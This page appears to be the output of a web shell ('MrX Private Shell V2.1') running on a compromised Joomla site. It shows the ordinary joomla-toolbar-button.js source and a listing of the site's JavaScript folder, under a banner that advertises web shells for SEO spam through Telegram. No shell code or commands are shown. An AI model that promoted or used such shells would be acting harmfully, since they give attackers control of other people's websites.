__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
window.customElements.define('joomla-toolbar-button', class extends HTMLElement {
// Attribute getters
get task() {
return this.getAttribute('task');
}
get listSelection() {
return this.hasAttribute('list-selection');
}
get form() {
return this.getAttribute('form');
}
get formValidation() {
return this.hasAttribute('form-validation');
}
get confirmMessage() {
return this.getAttribute('confirm-message');
}
/**
* Lifecycle
*/
constructor() {
super();
if (!Joomla) {
throw new Error('Joomla API is not properly initiated');
}
this.confirmationReceived = false;
this.onChange = this.onChange.bind(this);
this.executeTask = this.executeTask.bind(this);
}
/**
* Lifecycle
*/
connectedCallback() {
// We need a button to support button behavior,
// because we cannot currently extend HTMLButtonElement
this.buttonElement = this.querySelector('button, a');
this.buttonElement.addEventListener('click', this.executeTask);
// Check whether we have a form
const formSelector = this.form || 'adminForm';
this.formElement = document.getElementById(formSelector);
this.disabled = false;
// If list selection is required, set button to disabled by default
if (this.listSelection) {
this.setDisabled(true);
}
if (this.listSelection) {
if (!this.formElement) {
throw new Error(`The form "${formSelector}" is required to perform the task, but the form was not found on the page.`);
}
// Watch on list selection
this.formElement.boxchecked.addEventListener('change', this.onChange);
}
}
/**
* Lifecycle
*/
disconnectedCallback() {
if (this.formElement.boxchecked) {
this.formElement.boxchecked.removeEventListener('change', this.onChange);
}
this.buttonElement.removeEventListener('click', this.executeTask);
}
onChange({
target
}) {
// Check whether we have selected something
this.setDisabled(target.value < 1);
}
setDisabled(disabled) {
// Make sure we have a boolean value
this.disabled = !!disabled;
// Switch attribute for native element
// An anchor does not support "disabled" attribute, so use class
if (this.buttonElement) {
if (this.disabled) {
if (this.buttonElement.nodeName === 'BUTTON') {
this.buttonElement.disabled = true;
} else {
this.buttonElement.classList.add('disabled');
}
} else if (this.buttonElement.nodeName === 'BUTTON') {
this.buttonElement.disabled = false;
} else {
this.buttonElement.classList.remove('disabled');
}
}
}
executeTask() {
if (this.disabled) {
return false;
}
// Ask for User confirmation when needed
if (this.confirmMessage && !this.confirmationReceived) {
// eslint-disable-next-line import/no-unresolved,no-undef
import('joomla.dialog').then(m => m.default.confirm(this.confirmMessage, Joomla.Text._('WARNING', 'Warning'))).then(confirmed => {
if (confirmed) {
// Set confirmation flag, and emulate the click again
this.confirmationReceived = true;
this.buttonElement.click();
}
});
return false;
}
// Reset any previous confirmation
this.confirmationReceived = false;
if (this.task) {
Joomla.submitbutton(this.task, this.form, this.formValidation);
}
return true;
}
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| editors | Folder | 0775 |
|
|
| fields | Folder | 0775 |
|
|
| core.js | File | 25.96 KB | 0664 |
|
| core.min.js | File | 7.58 KB | 0664 |
|
| core.min.js.gz | File | 3.14 KB | 0664 |
|
| draggable.js | File | 5.66 KB | 0664 |
|
| draggable.min.js | File | 2.54 KB | 0664 |
|
| draggable.min.js.gz | File | 1.05 KB | 0664 |
|
| highlight.js | File | 61.61 KB | 0664 |
|
| highlight.min.js | File | 15.58 KB | 0664 |
|
| highlight.min.js.gz | File | 5.44 KB | 0664 |
|
| inlinehelp.js | File | 2.18 KB | 0664 |
|
| inlinehelp.min.js | File | 805 B | 0664 |
|
| inlinehelp.min.js.gz | File | 486 B | 0664 |
|
| joomla-core-loader.js | File | 4.91 KB | 0664 |
|
| joomla-core-loader.min.js | File | 4.02 KB | 0664 |
|
| joomla-core-loader.min.js.gz | File | 1.66 KB | 0664 |
|
| joomla-dialog-autocreate.js | File | 2.9 KB | 0664 |
|
| joomla-dialog-autocreate.min.js | File | 1.22 KB | 0664 |
|
| joomla-dialog-autocreate.min.js.gz | File | 664 B | 0664 |
|
| joomla-dialog.js | File | 17.7 KB | 0664 |
|
| joomla-dialog.min.js | File | 8.29 KB | 0664 |
|
| joomla-dialog.min.js.gz | File | 2.43 KB | 0664 |
|
| joomla-hidden-mail.js | File | 2.26 KB | 0664 |
|
| joomla-hidden-mail.min.js | File | 1.53 KB | 0664 |
|
| joomla-hidden-mail.min.js.gz | File | 721 B | 0664 |
|
| joomla-toolbar-button.js | File | 3.56 KB | 0664 |
|
| joomla-toolbar-button.min.js | File | 2.08 KB | 0664 |
|
| joomla-toolbar-button.min.js.gz | File | 868 B | 0664 |
|
| keepalive.js | File | 1 KB | 0664 |
|
| keepalive.min.js | File | 741 B | 0664 |
|
| keepalive.min.js.gz | File | 430 B | 0664 |
|
| list-view.js | File | 2.75 KB | 0664 |
|
| list-view.min.js | File | 1.59 KB | 0664 |
|
| list-view.min.js.gz | File | 555 B | 0664 |
|
| messages.js | File | 10.19 KB | 0664 |
|
| messages.min.js | File | 5.41 KB | 0664 |
|
| messages.min.js.gz | File | 1.77 KB | 0664 |
|
| modal-content-select.js | File | 1.14 KB | 0664 |
|
| modal-content-select.min.js | File | 781 B | 0664 |
|
| modal-content-select.min.js.gz | File | 497 B | 0664 |
|
| multiselect.js | File | 3.77 KB | 0664 |
|
| multiselect.min.js | File | 1.86 KB | 0664 |
|
| multiselect.min.js.gz | File | 917 B | 0664 |
|
| searchtools.js | File | 18.69 KB | 0664 |
|
| searchtools.min.js | File | 10.4 KB | 0664 |
|
| searchtools.min.js.gz | File | 2.56 KB | 0664 |
|
| showon.js | File | 9.91 KB | 0664 |
|
| showon.min.js | File | 3.55 KB | 0664 |
|
| showon.min.js.gz | File | 1.39 KB | 0664 |
|
| table-columns.js | File | 6 KB | 0664 |
|
| table-columns.min.js | File | 3.39 KB | 0664 |
|
| table-columns.min.js.gz | File | 1.28 KB | 0664 |
|
| treeselectmenu.js | File | 5.74 KB | 0664 |
|
| treeselectmenu.min.js | File | 4.07 KB | 0664 |
|
| treeselectmenu.min.js.gz | File | 976 B | 0664 |
|